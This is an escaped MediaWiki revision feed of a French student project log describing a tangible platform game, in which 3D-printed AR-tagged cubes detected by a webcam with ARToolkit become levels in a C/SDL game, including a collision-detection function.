&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Voici donc notre nouvelle fonction détectant les collisions : &lt;br /&gt;
&amp;lt;br&amp;gt;int CollisionDecor(Map* carte,Sprite* test)&lt;br /&gt;
&amp;lt;br&amp;gt;{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;int xmin,xmax,ymin,ymax,i,j,indicetile;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmin = test-&amp;gt;x / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;ymin = test-&amp;gt;y / carte-&amp;gt;HAUTEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmax = (test-&amp;gt;x + test-&amp;gt;anim-&amp;gt;largeurchar -1) / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	ymax = (test-&amp;gt;y + test-&amp;gt;anim-&amp;gt;hauteurchar -1) / carte-&amp;gt;HAUTEUR_TILE;	&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (xmin&amp;lt;0 || ymin&amp;lt;0 || xmax&amp;gt;=carte-&amp;gt;nbtiles_largeur_monde || ymax&amp;gt;=carte-&amp;gt;nbtiles_hauteur_monde)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		return 1;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	for(i=xmin;i&amp;lt;=xmax;i++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		for(j=ymin;j&amp;lt;=ymax;j++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			indicetile = carte-&amp;gt;schema[i][j];&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].mur )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 1; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].danger )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 2; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;return 0;&lt;br /&gt;
&amp;lt;br&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:exemple1rassemblement.png  |Résultat obtenu ]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nosus avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœurs. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors &amp;quot;dangereux&amp;quot;. Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type &amp;quot;danger&amp;quot; au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type &amp;quot;mur&amp;quot;.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=29238</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=29238"/>
				<updated>2016-03-28T14:33:04Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
